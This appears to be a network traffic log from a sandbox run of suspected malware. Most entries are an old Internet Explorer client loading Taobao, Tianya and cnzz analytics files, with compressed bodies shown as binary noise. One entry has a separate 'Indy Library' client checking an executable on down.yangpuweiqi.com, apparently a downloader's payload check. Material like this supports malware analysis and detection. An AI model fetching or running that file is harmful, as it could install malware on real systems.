User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727; .NET CLR 3.0.04506.648; .NET CLR 3.5.21022; .NET4.0C)

Host: dol.tianya.cn

Connection: Keep-Alive

Cookie: time=ct=1432632825.126

HTTP/1.1 200 OK

Connection: close

Content-Type: text/html; charset=GBK

Content-Length: 25

Content-encoding: gzip

P3P: CP="CAO PSA OUR"

Set-Cookie: ADVC=32e5b83b465dd3;expires=Thu,25-May-2017 17:33:46  0800;path=/;domain=dol.tianya.cn

Set-Cookie:ADVS=32e5b83b465dd3;path=/;domain=dol.tianya.cn

Set-Cookie: ASL=16581,0000r,c18af4e7;expires=Thu,25-May-2017 17:33:46  0800;path=/;domain=dol.tianya.cn

Expires: 0
...........Q...;.j.........

GET /ju/home/1.3.5/pages/2015/index.less.css HTTP/1.1

Accept: */*

Referer: hXXp://ju.taobao.com/?ali_trackid=2:mm_28882711_2549618_31192338:1432632830_3k8_550233858

Accept-Language: en-us

Accept-Encoding: gzip, deflate

User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727; .NET CLR 3.0.04506.648; .NET CLR 3.5.21022; .NET4.0C)

Host: g.alicdn.com

Connection: Keep-Alive

HTTP/1.1 200 OK

Server: Tengine

Content-Type: text/css

Content-Length: 3730

Connection: keep-alive

Date: Tue, 26 May 2015 09:17:56 GMT

Last-Modified: Thu, 21 May 2015 09:58:29 GMT

Cache-Control: max-age=315360000,s-maxage=3600

Access-Control-Allow-Origin: *

Vary: Accept-Encoding

Via: cache19.l2de1[0,304-0,H], cache61.l2de1[0,0], cache1.es1[0,200-0,H], cache3.es1[0,0]

Content-Encoding: gzip

Age: 955

X-Cache: HIT TCP_MEM_HIT dirn:5:134439102

X-Swift-SaveTime: Tue, 26 May 2015 09:18:27 GMT

X-Swift-CacheTime: 3600
...........[ko.F.. ....^..$..(.h..m.......G..I.)R .........;3|..cQ..eq
.w........-D|..4/......f..d...*..g..o.!2n1...7...l.n.q.F.."?d1...a.d.z
....i....w.y.TI....*Q8w....K./..:..b.d....*_..8N.....*...VK'.m..EQ%Q..
a.l....<....... .T....".I.<..Q...Cy...$....x.....X.<.t...y...
Y....1..m0...7.....r!...\..z..HA..b.....1.&q,2{jg;=...r.......e.bK..:O
..L&........r.....S..5..V.S-..k.{=..H..e..... ../.Q.9\....X..f[....r..
.E..C*.!..........R...~K.........J.QP#.....$.d.../\~...h/..3..........
.W.x5<.....L*.K....|..r...as...#......V6y..-2.c{>..1N.=...6.....
U.e.PZ.....J.>..[...>..CRA4=..6...}.c....*|._..7../.].u\.1....f.
.@GE.....(.|..\~..(....mx...VTM....F.2.1.~u........);'..S3L.(u{.;..S..
.....'. ...g..="/...Pf.k).;...E.S.}..;.1.%8.....M. ....?.3/.wW...J&W..
N..o...?.Wx..........u'3....}.9wT.R.t....E.,-..*...~m.........W7.b..,.
..9ir4..-;...*..f..,.v.../.I.U4...&...?.........r...9.......C.)...k~..
.^|._:.....!$.P..~s.X......>[email protected]....;...WS.v.M....=.2K.[Y.J .t
(...:A.h...>0.........~w..*..\.J.s..&-.E%:.%..}. Z.2.W.TD.. {..Zd..
..r6.\\_z......l.:.......GPGuT;[email protected]...`...z<...
...e].;Q:F.#..#.V.{.%..z..\6...n....Ag......."~DyP7.!1U...K*]....86*C.
.......p..b.2L.jl%....jU. .9...x...a)...Kt?V^....[{=^...Je..,.P...v...
.....).a.Q.4.o.J..[...t..@..".......J&..m$.H...V.U. .1......V.hT"p..;3
..Y5.b6..*.........E...oqg....A*....\Y..X..o.5.W..u.%.........a{..4...
Rb..Wi.=...m.u.`Fv|6-..{%.#.j....m......5F|..B..n8.>Y>....Uve.#.
.....h[m..........g... >..:...B..QkhaR..UG..-..lL.8.,|...^.k.B.
<<< skipped >>>

GET /??kissy/k/1.4.14/seed-min.js,ju/common/1.5.8/global-min.js,tb/tracker/1.0.16/index.js HTTP/1.1

Accept: */*

Referer: hXXp://ju.taobao.com/?ali_trackid=2:mm_28882711_2549618_31192338:1432632830_3k8_550233858

Accept-Language: en-us

Accept-Encoding: gzip, deflate

User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727; .NET CLR 3.0.04506.648; .NET CLR 3.5.21022; .NET4.0C)

Host: g.alicdn.com

Connection: Keep-Alive

HTTP/1.1 200 OK

Server: Tengine

Content-Type: application/x-javascript

Content-Length: 29071

Connection: keep-alive

Date: Tue, 26 May 2015 08:05:03 GMT

Last-Modified: Thu, 21 May 2015 09:59:14 GMT

Cache-Control: max-age=315360000,s-maxage=3600

Access-Control-Allow-Origin: *

Vary: Accept-Encoding

Via: cache24.l2de1[0,304-0,H], cache31.l2de1[0,0], cache3.es1[0,200-0,H], cache3.es1[0,0]

Content-Encoding: gzip

Age: 5328

X-Cache: HIT TCP_MEM_HIT dirn:0:192346441

X-Swift-SaveTime: Tue, 26 May 2015 08:53:17 GMT

X-Swift-CacheTime: 3600
............y_......_.TNc)...!..L;.}......>}.pKRi..D......~.{..%.0q
r..O.O.T....^.^....g....a......{.o...W..{..^......{..|.....N.i.^.r8.n,
.....U......{..}|....7...m..'..p:.$. .}#./.9o]..i.7.U...dc\..B.v..^...
'y....,]\.&...h..t.~.Ton...8.6....5=.G..x......~co7.Nz...n.6.M..v.t6..
..wo.......?....../.}..4......G...~...'o.W..|.X......t......(.{.y...&~
...........(........L.,f.-5.w.^kP.m..V.Fk.Am8..}.v..n.pPK........xR..t
Z...I..S.$.QE.h.x.Jn....o.'q.j...v.....S..I.L.}..>[email protected]?....
..i.......[...M|..8.N..a..F%......h{.&v..N.`...I.....W.......,i.......
H..................lD........Rm... .J..m.*..... 9...H...a..9....W...M.
.".%~._4....o.........|.Jj....._...F.....4_.v.....b{.J.....-N._6[....A
.....w.N......j...:oR..C...}2.^_........r..m..P........[[..l..6.......
.......c&..Z........(.t6K.W...~.0J.......e...I}kT....z.K...V..7....N.,
.ig..*..m..~....Q.G...h....U...._.|...$.z...w......."@q/9L.CC.........
=}...g?}...(>........[v.l.v.3K.E.wZ.W....l8.....f..t.x.r.|r9NgI{.V"
_".......d......V.\g..t.."....5............7...JQm~1..*Q.U.!J...Sag_.2
.&..C.@%..j.H....4hn......OO..|~jJ.].Z...1h......V...W.!8..\.To:......
V.W.w.k.4.f'\_...I..ut..n.]a..T.Z.R.~ukkh.U.*..T5.64.......A..l..T...Q
.$.m.^.....M<..[..6|.*... ...M{...........t4./@.N.....F.6........@E
~..H...U.[bK.r.6..s#b.L......a...4;n.wZg..............}..G.lo.4..t....
lRO...7...`.v..,.89Om....FO..j<.s.o....C...^......].9.#.....e_m.]ig
j..u...nI...^..!...Q.$~.....f.h.\n.....F4."i.cD..=...d......{.r...f...
)~......nk.}m.eu.q27 .....*..A?/...o....p.n.N..........-p.w.......
<<< skipped >>>

GET /kissy/k/1.4.14/??dom/base-min.js,dom/ie-min.js,dom/class-list-min.js,dom/selector-min.js,event-min.js,event/dom/base-min.js,event/base-min.js,event/dom/hashchange-min.js,event/dom/ie-min.js,event/custom-min.js,io-min.js,promise-min.js,anim-min.js,anim/base-min.js,anim/timer-min.js,base-min.js,attribute-min.js,node-min.js,json-min.js,cookie-min.js HTTP/1.1

Accept: */*

Referer: hXXp://ju.taobao.com/?ali_trackid=2:mm_28882711_2549618_31192338:1432632830_3k8_550233858

Accept-Language: en-us

Accept-Encoding: gzip, deflate

User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727; .NET CLR 3.0.04506.648; .NET CLR 3.5.21022; .NET4.0C)

Host: g.alicdn.com

Connection: Keep-Alive

HTTP/1.1 200 OK

Server: Tengine

Content-Type: application/x-javascript

Content-Length: 55639

Connection: keep-alive

Date: Tue, 26 May 2015 08:44:38 GMT

Last-Modified: Tue, 24 Mar 2015 08:58:33 GMT

Cache-Control: max-age=315360000,s-maxage=3600

Access-Control-Allow-Origin: *

Vary: Accept-Encoding

Via: cache4.l2de1[0,304-0,H], cache4.l2de1[0,0], cache8.es1[0,200-0,H], cache3.es1[0,0]

Content-Encoding: gzip

Age: 2953

X-Cache: HIT TCP_MEM_HIT dirn:1:96952476

X-Swift-SaveTime: Tue, 26 May 2015 09:04:59 GMT

X-Swift-CacheTime: 3600
............yw.G....>....%.....H.:..$...slg&......H.)...H..~..P..E9
..;......X].B.P..@.|..hz.q6......{....>y....w{.....v.~~.j....N.io.s
9.........8.......o|.......Wo.z.Joz..i.........$..Iw1.N....w...y..~4yW
.N......d.:......t.Hf...a.k].==.....7..?>j.%..^.x......b?yu.[..^...
...7/...z...7.....W..yq.....g..._.z..........|....o.<{.....>.I.=
.9......G.......~.%.............^..........$m]..........y{4id..9.z....
9.I..tQ...a..!.....^}<...iC..}.6g..r6Y.n.Z..M...W.z[...MBoG....O.3.
..uK...6....f.Q.....`...Z....=..F......W..R..l.............t.lW....>
;.H'.Z3{.a.*...5...T.v..t...?j[..j.ViT..3>...E..i..5.........F...Y-
...y..{Vk..)c.w.g....).......$t/..K4..Y.I}.~......E......../.s....../.
3............k.....YF......-H......M2.C.....|...!./AD......^}.H.77....
.W0....%M.. .R.....{[email protected]...[[L.V/C
v.&a..y.....7...x...>\T .T [;....N....../_..k.{[<..G'.......|z9.
.[.Z.`..C.......l}QI*.J..yZ?.}..I.....\.......R7.X...y.*...I..!{r9..Z.
.J......F.j;.8s............R$5&.'vq`.Z.F..o4...y5.R....8........&....&
lt;.......D'....`.}.......J.........{......w..N...x~.RHg......S?..z..z
<.^\..DF...ZL.z..{...#.....m.&.....".....%#.~.r..N.G......sJ...z.~X
....|[email protected][;..?......y=..$..{....5f.....;\..A]...^...~.[...6L..R..
.......x.jz....}~.I...E..cJ?4...|[email protected]...<.nF.*.lT ..JF....N}~.vG.
Q.;....'..N../.do......|Qmg.U.......l......k.{}......bjR..FE..4..$B..L
O4.J...QQ.9..J.Og.La..JI.;n...._..Jr..0N'..X...........vw4........\ md
....@0}. ...........P...yz..hT..s........z..Q....A.N.0..7b...(..(T
<<< skipped >>>

GET /s.gif HTTP/1.1

Accept: */*

Referer: hXXp://ju.taobao.com/?ali_trackid=2:mm_28882711_2549618_31192338:1432632830_3k8_550233858

Accept-Language: en-us

Accept-Encoding: gzip, deflate

User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727; .NET CLR 3.0.04506.648; .NET CLR 3.5.21022; .NET4.0C)

Host: g.alicdn.com

Connection: Keep-Alive

HTTP/1.1 200 OK

Server: Tengine

Content-Type: image/gif

Content-Length: 43

Connection: keep-alive

Date: Tue, 26 May 2015 08:42:37 GMT

Last-Modified: Fri, 11 Oct 2013 04:52:49 GMT

Cache-Control: max-age=315360000,s-maxage=3600

Access-Control-Allow-Origin: *

Accept-Ranges: bytes

Via: cache18.l2de1[0,304-0,H], cache1.l2de1[0,0], cache6.es1[0,200-0,H], cache3.es1[1,0]

Age: 3075

X-Cache: HIT TCP_MEM_HIT dirn:9:201204989

X-Swift-SaveTime: Tue, 26 May 2015 09:33:51 GMT

X-Swift-CacheTime: 3600
GIF89a.............!.......,...........D..;HTTP/1.1 200 OK..Server: Te
ngine..Content-Type: image/gif..Content-Length: 43..Connection: keep-a
live..Date: Tue, 26 May 2015 08:42:37 GMT..Last-Modified: Fri, 11 Oct 
2013 04:52:49 GMT..Cache-Control: max-age=315360000,s-maxage=3600..Acc
ess-Control-Allow-Origin: *..Accept-Ranges: bytes..Via: cache18.l2de1[
0,304-0,H], cache1.l2de1[0,0], cache6.es1[0,200-0,H], cache3.es1[1,0].
.Age: 3075..X-Cache: HIT TCP_MEM_HIT dirn:9:201204989..X-Swift-SaveTim
e: Tue, 26 May 2015 09:33:51 GMT..X-Swift-CacheTime: 3600..GIF89a.....
........!.......,...........D..;....


GET /??ju/home/1.3.5/pages/2015/index-min.js,kissy/k/1.3.2/template-min.js HTTP/1.1

Accept: */*

Referer: hXXp://ju.taobao.com/?ali_trackid=2:mm_28882711_2549618_31192338:1432632830_3k8_550233858

Accept-Language: en-us

Accept-Encoding: gzip, deflate

User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727; .NET CLR 3.0.04506.648; .NET CLR 3.5.21022; .NET4.0C)

Host: g.alicdn.com

Connection: Keep-Alive

HTTP/1.1 200 OK

Server: Tengine

Content-Type: application/x-javascript

Content-Length: 14424

Connection: keep-alive

Date: Tue, 26 May 2015 09:33:53 GMT

Last-Modified: Thu, 21 May 2015 09:58:29 GMT

Cache-Control: max-age=315360000,s-maxage=3600

Access-Control-Allow-Origin: *

Vary: Accept-Encoding

Via: cache55.l2de1[901,304-0,H], cache21.l2de1[902,0], cache4.es1[934,200-0,H], cache3.es1[935,0]

Content-Encoding: gzip

Age: 0

X-Cache: HIT TCP_REFRESH_HIT dirn:9:221189288

X-Swift-SaveTime: Tue, 26 May 2015 09:33:53 GMT

X-Swift-CacheTime: 3600
............_s..u...).....M..<I.P..5.5..[k..JQ\U.h.-..pw..M.*....}.
..'....V..I...b...?}..5....,....s..s...<{.....l..V7..rV.>=:..p..
EVE.|SL..,.Y..E..n..^...:.zy...".G..}.C..?3u..|o._Q*.........7....>
....e>..y|[../..(.^....n...(..E..M.C...8ed..y./.Y...l.M.l...l.....l
>..(..3jdi...Q...gesE.M...F..q.i..T{t...Y]...O..C.L......`.1.~4..e.
......3.4....:-.e}......e.?}:......Lg/7uS..O.p.m...4..."...........w..
`p.`....."iv.=........y9....e4.^5.e.5..?....0.o...^...U_..J.?.uB..L...
M.t..'.f...7..'..o_..W....~u.i.............C....,....Y:...O...R.MO....
...Y6.~.I..........3f..........<./.../.....fC[....{r%|.Lt...W......
.*),..f....ure...y.$..u....b.\..O.......r0..Uy....Y..b.O....;.>..R.
.;..].....04......l.....^3.........:.V.r.a.d..;}K...ME..yZ-..v...\.u..
..l....R....l.....0.......o.tv..9.N.)...P(KIKM..........MYF.5^&..-...x
Y...l.0...)s..fS..&iN!.(...^/[email protected]...&g
t;:R&V..M.n.wuO(.^#...V..7.n=.....i.Z...a..d....M..KH^.....l..2..D.w..
..q.*-.....8`.i.&9...9.._.u..o.......u64..z.]i.T.H.......Wi..j........
.E0L......X..# ..gI.......7.3_.H......[.0F%B.V....U.,....0.X....-.....
S.,8.0....8.....*h-..%[email protected]
.u.%.X..r....m..k.."...#...d.w.kf....U...O..$)N!..t...........`t].....
..i.&....G$....................|q%............\..L.`Y%.. H ...........
.o.J.".]..H.%.M.......4..c.V=.J!........rM......k....\....o:o.o|....U.
jj.V......5.r_.h.QPH.O..2.rv.......^.3.......F$.^T."/T..Vw..p.A1...uf?
..f..v..1..L..U&......_..c.a.)nd.@.<_e..i.......cT. .B..Q...#p.
<<< skipped >>>

GET /ju/??jupopup/1.0.7/index-min.js?t=16581.js HTTP/1.1

Accept: */*

Referer: hXXp://ju.taobao.com/?ali_trackid=2:mm_28882711_2549618_31192338:1432632830_3k8_550233858

Accept-Language: en-us

Accept-Encoding: gzip, deflate

User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727; .NET CLR 3.0.04506.648; .NET CLR 3.5.21022; .NET4.0C)

Host: g.alicdn.com

Connection: Keep-Alive

HTTP/1.1 200 OK

Server: Tengine

Content-Type: application/x-javascript

Content-Length: 3873

Connection: keep-alive

Date: Tue, 26 May 2015 08:34:17 GMT

Last-Modified: Mon, 23 Mar 2015 09:46:47 GMT

Cache-Control: max-age=315360000,s-maxage=3600

Access-Control-Allow-Origin: *

Vary: Accept-Encoding

Via: cache9.l2de1[0,304-0,H], cache15.l2de1[0,0], cache1.es1[36,200-0,H], cache3.es1[37,0]

Age: 3576

X-Cache: HIT TCP_REFRESH_HIT dirn:2:125094059

X-Swift-SaveTime: Tue, 26 May 2015 09:33:53 GMT

X-Swift-CacheTime: 3600
KISSY.add("jbc/jupopup/1.0.7/index",function(t){var e=t.DOM,o=t.Event,
n=function(t,e){var o=Array.prototype.slice.call(arguments);return"fun
ction"==typeof t?t.apply(e||this,o.slice(2)):void 0},s='<div class=
"ju-popup-mask"></div><div class="ju-popup"><div cla
ss="hd"><h3>{title}</h3></div><div class="bd J
_bd">{content}</div><div class="ft"><div class="butt
ons"></div><a href="#" title="..............." class="btn-
close">×</a></div></div></div>',c={ti
tle:"......",type:"",content:"",useAnim:!1,autoShow:!0,wrapId:"",width
:400,hideMask:!1,keepShow:!1,buttons:[{style:"",text:"......",func:fun
ction(){this.hide()}}]},u=function(e,o){this.context=o||document.body,
this.config=t.merge(c,e||{}),this.popup="",this.init()};return t.augme
nt(u,{init:function(){{var t=this,o=document.createElement("div"),i=t.
config;t.context}""!==i.wrapId&&(o.id=i.wrapId),t.wrapDiv=o,e.hide(o),
t.fillContext(o,i),t.setPopStyle(o,i),t.setBottomMenu(o,i),t.setCloseM
enu(o,i),t.ieHack(o),e.append(o,document.body),t.isAutoShow(o,i)},fill
Context:function(o,i){o.innerHTML="string"==typeof i.content?t.substit
ute(s,i):t.substitute(s,t.merge(i,{content:""})),i.hideMask&&e.addClas
s(o,"ju-popup-hidemask"),e.addClass(o,"ju-popup-wrapper"),this.popup=e
.get(".ju-popup",o),this.bd=e.get(".J_bd",o)},setPopStyle:function(t,o
){var i=e.get(".ju-popup",t);o.width&&e.css(i,"width",o.width),o.type&
&e.addClass(i,o.type)},setBottomMenu:function(t,n){var s=e.get(".b
<<< skipped >>>

GET /sd/data_sufei/1.4.3/aplus/index.js HTTP/1.1

Accept: */*

Referer: hXXp://ju.taobao.com/?ali_trackid=2:mm_28882711_2549618_31192338:1432632830_3k8_550233858

Accept-Language: en-us

Accept-Encoding: gzip, deflate

User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727; .NET CLR 3.0.04506.648; .NET CLR 3.5.21022; .NET4.0C)

Host: g.alicdn.com

Connection: Keep-Alive

HTTP/1.1 200 OK

Server: Tengine

Content-Type: application/x-javascript

Content-Length: 12395

Connection: keep-alive

Date: Tue, 26 May 2015 09:05:26 GMT

Last-Modified: Tue, 19 May 2015 06:37:16 GMT

Cache-Control: max-age=315360000,s-maxage=3600

Access-Control-Allow-Origin: *

Vary: Accept-Encoding

Via: cache22.l2de1[997,304-0,H], cache3.l2de1[338,0], cache4.es1[0,200-0,H], cache3.es1[1,0]

Content-Encoding: gzip

Age: 1708

X-Cache: HIT TCP_MEM_HIT dirn:3:220501208

X-Swift-SaveTime: Tue, 26 May 2015 09:05:27 GMT

X-Swift-CacheTime: 3600
............kw..........-..(.....].......s..d/..D.....e.T..y....u.d&k.
..D.A..}.~../....u6 .y..|i...>...jtq..........jN....o...N.........~
.u.../..lz.&.L......qZ..I.g..=I..F.4....t8.|..yR.f.i.m~..*.......r>
.Z....:..Z$.o.p....>.N..(......?...MY,...U..|[......N/..EZ..l...tt.
.......YB}QG....C7..........?>pg.'[email protected]..=uc...S^t....BiR. '.&..
t...&...q8v.p.....lY$=...W?.......Aob..!... ....I1Z./Ve..-.vTLZ...)Nt.
N..]c.u..o.4cv.S.f{..g0....._....K....?..{|m.z..iz^y.:.....V..&..?...\
.i..vZ$v..OE.i.1...V:L...#.f..y. l..3......iD3c..KFE.....z~.7.i...;...
g.v...o....g....f`........N....l.....%M...|@... ...\.....I4.mf..!..=..
}:..|.u...!..RA..l..Hr.-.FK.x5..}.Y...t.J.~o...Y...............bt[.e^~
.MG&`..3.R..ihG..DNh..........}.........D.........Ya..q.y..xb...-/.. .
...8......V.x|....91..^.YQ4......s.;.|......1.X..r.m3.g...9.8.\?.c..=.
[email protected].\/.-Dd.q.FVd...;!.......@P....'A....cd..... `v
..C..<;.B.....8...L."..r...])....7.-'........v...8,d..?T.[.c{n,.q.8
...Q..u. .1.w.q4.#V.D..y..."...bt..2...B./.9.cQ....1......c.....$V.".i
...,...6....fx'.....n<.{L...&..;......0,..c.r...b/..\o..!.E!r...r#V
..6S..7..X../.\s[.v<...N..>[email protected]...=.1.#.#
..........G.w....t.glc...YJ..8.Y.3......Rx w....#.$..6.c....Rd.....Z..
`e....!..,>..\<..n.........G....l..|.@....,....c.0.P<J....J..
 ..8.c...... ...f..H9...>k.V0/.q.!.b.l...1..QA.T...........`.......
.|..1PK$W..........b...>.r.E.r .3t...m.v<...8./.0=..^..BIc'...C.
.......<D4..aq..x....H" ?.4.w.;.|F...*.....<9.&.E...b.{,l...
<<< skipped >>>

GET /global/bbs/web/static/css/bbs_article_51018f9.css HTTP/1.1

Accept: */*

Referer: hXXp://bbs.tianya.cn/post-186282-27-1.shtml

Accept-Language: en-us

Accept-Encoding: gzip, deflate

User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727; .NET CLR 3.0.04506.648; .NET CLR 3.5.21022; .NET4.0C)

Host: static.tianyaui.com

Connection: Keep-Alive

HTTP/1.1 200 OK

Server: nginx/1.6.1

Date: Tue, 26 May 2015 09:33:40 GMT

Content-Type: text/css

Last-Modified: Thu, 21 May 2015 01:30:29 GMT

Transfer-Encoding: chunked

Connection: keep-alive

Vary: Accept-Encoding

Expires: Tue, 26 May 2015 15:33:40 GMT

Cache-Control: max-age=21600

Content-Encoding: gzip
40d8.............}.r.G... ......q'@F....-..u.j.....U !.6.H.b.q..ic...z
?`..kf"v.b.-.N^..JT{.c..........~N^.....l._.LW.].../N....3.s..f....../
..o....n......,.]..[..4[.....4....i.(.o.i....I...V.h.~w{.HgK..~j....U.
;......{J.......k...H..yU.of..;.Muv{D?...zj_.....ms.^..w.|.....v.?..W.
.>^l.<..Sy............A..9. ......flr..O."..U_.....S..h.v.......
..r..^n.._.v../.....l.....uz9kNV./...,...e./...4.r.H........|.).E.{9n.
:.q......\/..4.Ir.8.N...Uc.Z.e.M^l,..nmW.Y.8....t.V...4..G$..d...X.N..
..&....s..LV.....3........lY...v..]......c.....^.......P....e.....rw:]
M....>..).ycG.5.n6.Q(:...f.<g... :.k....V.r8D......(.G...8[4.t&g
t;;_.N......\....=D*..7.....`}..F....Y:?..._.pf..m..&.b3..6....u_.K3..
;Eo:.........aC.[.6..(.O..7;.F.".J.g2Y.r...n.....M....,[email protected]..
 ..CZ..Gm......6..M.u.?J.B....f.,..P...5S ../...l.K:7.?..%.....#.....y
.).....%.....E...!~..e..L.2K..U.r....".)n.O..7..a9.;4....p.{z1..by&o..
.. ....{b...l..g..(Z}...*a..hKB.3u.u.)|Hi....Z...1./\...x.....4.......
......d5..Yk8...G>.H:.....f.,..`P. Y..3".....t{'..6/.v....n.:..9W.,
.,..Rd....1.Y......QcI..g. )..VHm9..u... F........M&.=..s.Y. .}7.....u
...K...h....$..3...W $...F.....t8.p?!....".....F...6~.u..s.....b.\....
.Yw<me..s.9Kp.p.<....z...%...{`i....6........):y.I....To....'.T.
3 .zp..E.g.w.w...l..jD...,...f=..;[email protected].).S#.O&z.P.5*.&.g......p..Vc.8
.........$.-.1.y.....1...^.p...B|.} /...-..N..&.{D..i.y.........&$....
...'.e O......-S......b.G.K,.F.....$.'..`[email protected]
.}............R5Ix.\...S.(...N...G...0...$<\..#....P....B.....`
<<< skipped >>>

GET /global/bbs/web/static/js/main_3dc2083.js HTTP/1.1

Accept: */*

Referer: hXXp://bbs.tianya.cn/post-186282-27-1.shtml

Accept-Language: en-us

Accept-Encoding: gzip, deflate

User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727; .NET CLR 3.0.04506.648; .NET CLR 3.5.21022; .NET4.0C)

Host: static.tianyaui.com

Connection: Keep-Alive

HTTP/1.1 200 OK

Server: nginx/1.6.1

Date: Tue, 26 May 2015 09:33:43 GMT

Content-Type: application/x-javascript

Last-Modified: Wed, 20 May 2015 09:09:25 GMT

Transfer-Encoding: chunked

Connection: keep-alive

Vary: Accept-Encoding

Expires: Tue, 26 May 2015 15:33:43 GMT

Cache-Control: max-age=21600

Content-Encoding: gzip
4bb9.............}[email protected]. )...5...'[email protected];v.
R.L.;......g2~M.?$?.....~....w.....P.c....E........[.~...~.J.(,.....wb
.>?,'U..V.7.^.wg...D..vo.4W.^.W.\..%....%..`j.....)7.........O.Ae~v
.....l...*..n.....g.A..j.)...jN......w{~....dw.j..{~r....I..mZ.....u..
........v.../.u.d=.6.j..T}.S......j.W....z9Y..*......N...'A.....M...^j
......[.II..L5-\....[....W..q05.T.....B...m.5...s.M..~.ZZ[........Bv.X
\j.K..z.YO.n.^..|^...^....Z ..?.U..1..?...S....l.....Wg..d.jN..O..w...
.O...}..Tj=.#.......j....w.._..:..4/.a;....q..wv.....Dk...vw M~-.....b
....}.......O..............#..G.j....X..Z.o.I.;..M...#k.h......z....:m
s.....0.;....o...}A..a.....^....u.{...`#H....r...Z..?Lj.h.........*..g
^X......3..BQ4.*.....`.....]`M...U.3G\..........O...~.O2J.l.e..x..H..~
...I]...X21...u:e.z...~o..e5.t~.^..K..>..<wq..-e.~).KV7V<E...
..0.M...]gr...t.'.......s......1]..hU.....[......a....GAXv....3..P...1
.......X..]......l...EV..............71....^..N$4....f^...]..s..Z..6.L
..a.. .LWm ....Z'...:...0....[M....J(.o...=.....:..x........?.........
.l....?~..........O.......i..13S...x....|.oZ....*....~..j........mX.W.
VL....`....<..v".'.....S........k..6.V...7.EM..r.C...1..T..9N.q.qMK
..:.......M..1.....f.....u0 ..2.........=.................W.:{...=../.
...[. ..x....x...o.m..s..?8{......w..c...S.<.x ..t!h.}...|./......m
.....{._.<......u....c...2.....OJ.v.I...S....N....Q....r...)>...
U.u. {...K..=.'E*[email protected].$....#>.....{...|...&l
t;....U..cu/..0..m.;.1...R.).]t....^R.i?...........<T..5... >
<<< skipped >>>

GET /stat.htm?id=1255080332&r=&lg=en-us&ntime=none&cnzz_eid=1161489034-1432632816-&showp=1276x846&t=&h=1&rnd=1974847579 HTTP/1.1

Accept: */*

Referer: hXXp://tongji.110160.com/will.html

Accept-Language: en-us

Accept-Encoding: gzip, deflate

User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727; .NET CLR 3.0.04506.648; .NET CLR 3.5.21022; .NET4.0C)

Host: oz.cnzz.com

Connection: Keep-Alive

HTTP/1.1 200 OK

Server: Tengine/1.4.6

Date: Tue, 26 May 2015 09:33:36 GMT

Content-Type: image/gif

Content-Length: 43

Last-Modified: Mon, 09 Mar 2015 09:01:02 GMT

Connection: close

Accept-Ranges: bytes
GIF89a.............!.......,...........D..;..

HEAD /dingniubaoku/dnbb_51171.exe HTTP/1.1

Host: down.yangpuweiqi.com

Accept: text/html, */*

Accept-Encoding: identity

User-Agent: Mozilla/3.0 (compatible; Indy Library)

HTTP/1.1 200 OK

Server: nginx

Date: Tue, 26 May 2015 09:26:13 GMT

Content-Type: application/octet-stream

Content-Length: 6031496

Last-Modified: Wed, 15 Apr 2015 01:30:55 GMT

Connection: keep-alive

ETag: "552dbf4f-5c0888"

Accept-Ranges: bytes
HTTP/1.1 200 OK..Server: nginx..Date: Tue, 26 May 2015 09:26:13 GMT..C
ontent-Type: application/octet-stream..Content-Length: 6031496..Last-M
odified: Wed, 15 Apr 2015 01:30:55 GMT..Connection: keep-alive..ETag: 
"552dbf4f-5c0888"..Accept-Ranges: bytes..

GET /core.php?web_id=1255080332&t=z HTTP/1.1

Accept: */*

Referer: hXXp://tongji.110160.com/will.html

Accept-Language: en-us

Accept-Encoding: gzip, deflate

User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727; .NET CLR 3.0.04506.648; .NET CLR 3.5.21022; .NET4.0C)

Host: c.cnzz.com

Connection: Keep-Alive

HTTP/1.1 200 OK

Server: Tengine

Content-Type: application/javascript

Content-Length: 751

Connection: keep-alive

Date: Tue, 26 May 2015 09:33:40 GMT

Last-Modified: Tue, 26 May 2015 09:33:40 GMT

Expires: Tue, 26 May 2015 09:48:40 GMT

Via: cache29.l2de1[3810,200-0,M], cache40.l2de1[3811,0], cache10.de1[3810,200-0,M], cache3.de1[3812,0]

X-Cache: MISS TCP_REFRESH_MISS dirn:-2:-2

X-Swift-SaveTime: Tue, 26 May 2015 09:33:40 GMT

X-Swift-CacheTime: 900
!function(){var p,q,r,a=encodeURIComponent,b="1255080332",c="",d="",e=
"online_v3.php",f="z4.cnzz.com",g="1",h="text",i="z",j="站໳
1;统计",k=window["_CNZZDbridge_" b].bobject,l="http:",m="0
",n=l "//online.cnzz.com/online/" e,o=[];o.push("id=" b),o.push("h=" f
),o.push("on=" a(d)),o.push("s=" a(c)),n ="?" o.join("&"),"0"===m&&k.c
allRequest([l "//cnzz.mmstat.com/9.gif?abc=1"]),g&&(""!==d?k.createScr
iptIcon(n,"utf-8"):(q="z"==i?"hXXp://VVV.cnzz.com/stat/website.php?web
_id=" b:"hXXp://quanjing.cnzz.com","pic"===h?(r=l "//icon.cnzz.com/img
/" c ".gif",p="<a href='" q "' target=_blank title='" j "'><i
mg border=0 hspace=0 vspace=0 src='" r "'></a>"):p="<a hre
f='" q "' target=_blank title='" j "'>" j "</a>",k.createIcon
([p])))}();HTTP/1.1 200 OK..Server: Tengine..Content-Type: application
/javascript..Content-Length: 751..Connection: keep-alive..Date: Tue, 2
6 May 2015 09:33:40 GMT..Last-Modified: Tue, 26 May 2015 09:33:40 GMT.
.Expires: Tue, 26 May 2015 09:48:40 GMT..Via: cache29.l2de1[3810,200-0
,M], cache40.l2de1[3811,0], cache10.de1[3810,200-0,M], cache3.de1[3812
